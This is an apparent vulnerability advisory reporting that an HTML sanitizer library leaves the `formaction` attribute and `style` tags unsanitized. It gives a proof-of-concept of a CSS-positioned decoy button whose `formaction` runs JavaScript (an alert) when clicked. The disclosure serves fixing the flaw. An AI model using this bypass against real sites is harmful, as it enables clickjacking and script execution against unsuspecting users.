Body

Description

The library currently does not sanitize the `formaction` attribute or `style` tag. This opens the possibility of a clickjacking attack. An attacker can create a button styled to mimic the legitimate appearance of the hosting page. When a user interacts with this deceptive button, the malicious payload defined in the `formaction` attribute gets executed. Note that this is just one example of the countless ways an attacker could deceive a user into clicking the button, like setting the `display: none` of the real button.

Example

```
<style>
/* Replicate the appearance of a legitimate button and move the button to the real button
. */
#bubu {
  width: 300px;          /* Adjust width */
  height: 40px;          /* Adjust height */
  padding: 10px;         /* Add inner spacing */
  border: 2px solid #4CAF50; /* Green border */
  border-radius: 8px;     /* Rounded corners */
  font-size: 16px;       /* Increase font size */
  color: #333;           /* Text color */
  background-color: #f9f9f9; /* Light gray background */
  outline: none;         /* Remove default focus outline */
  transition: all 0.3s ease; /* Smooth hover effects */
  /* Put our button above the real button */
  position: fixed;
  bottom: 55%;
  left: 65%;
  transform: translateX(-50%);
  transform: scale(1.5);
  z-index: 999999;
}
</style>
<form id="attackerform">
  <button form="attackerform" id="bubu" formaction="javascript:alert(window.origin)">
    Click!
  </button>
</form>
```

Comments
